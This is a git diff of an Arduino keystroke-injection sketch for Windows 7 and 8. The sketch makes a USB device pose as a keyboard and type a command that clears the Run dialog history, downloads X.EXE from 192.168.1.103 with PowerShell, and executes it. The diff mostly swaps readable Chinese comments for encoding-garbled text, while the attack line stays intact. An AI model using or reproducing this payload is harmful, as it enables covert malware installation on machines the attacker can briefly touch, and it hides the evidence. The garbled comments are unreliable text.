diff --git a/ino_code/PowerShellDownload(win7,8).ino b/ino_code/PowerShellDownload(win7,8).ino index 235b2ad..f4bdb47 100644 --- a/ino_code/PowerShellDownload(win7,8).ino +++ b/ino_code/PowerShellDownload(win7,8).ino @@ -1,20 +1,20 @@ -void setup() {//初始化 - Keyboard.begin();//开始键盘通讯 - delay(5000);//延时 - Keyboard.press(KEY_LEFT_GUI);//win键 +void setup() {//鍒濆鍖 + Keyboard.begin();//寮濮嬮敭鐩橀氳 + delay(5000);//寤舵椂 + Keyboard.press(KEY_LEFT_GUI);//鎸変笅win閿 delay(500); - Keyboard.press('r');//r键 + Keyboard.press('r');//鎸変笅r閿 delay(500); - Keyboard.release(KEY_LEFT_GUI); - Keyboard.release('r'); - Keyboard.press(KEY_CAPS_LOCK);//利用开大写输小写绕过输入法 + Keyboard.release(KEY_LEFT_GUI);//閲婃斁win閿 + Keyboard.release('r');//閲婃斁r閿 + Keyboard.press(KEY_CAPS_LOCK);//鍒╃敤寮澶у啓杈撳皬鍐欑粫杩囪緭鍏ユ硶 Keyboard.release(KEY_CAPS_LOCK); delay(500); Keyboard.println("CMD /C START /MIN REG DELETE hkcu\\sOFTWARE\\mICROSOFT\\wINDOWS\\cURRENTvERSION\\eXPLORER\\rUNmru /F&CMD /C START /MIN POWERSHELL $P = nEW-oBJECT sYSTEM.nET.wEBcLIENT;$P.dOWNLOADfILE('HTTP://192.168.1.103/X.EXE', 'c:\\X.EXE');START c:\\X.EXE;EXIT"); - Keyboard.press(KEY_CAPS_LOCK); - Keyboard.release(KEY_CAPS_LOCK); - Keyboard.end();//结束键盘通讯 + Keyboard.press(KEY_CAPS_LOCK);//鎸変笅澶у啓 + Keyboard.release(KEY_CAPS_LOCK);//鏁翠釜杩囩▼鍏抽棴澶у啓閿佸畾 + Keyboard.end();//缁撴潫閿洏閫氳 } -void loop()//循环 +void loop()//寰幆 { -} \ No newline at end of file +}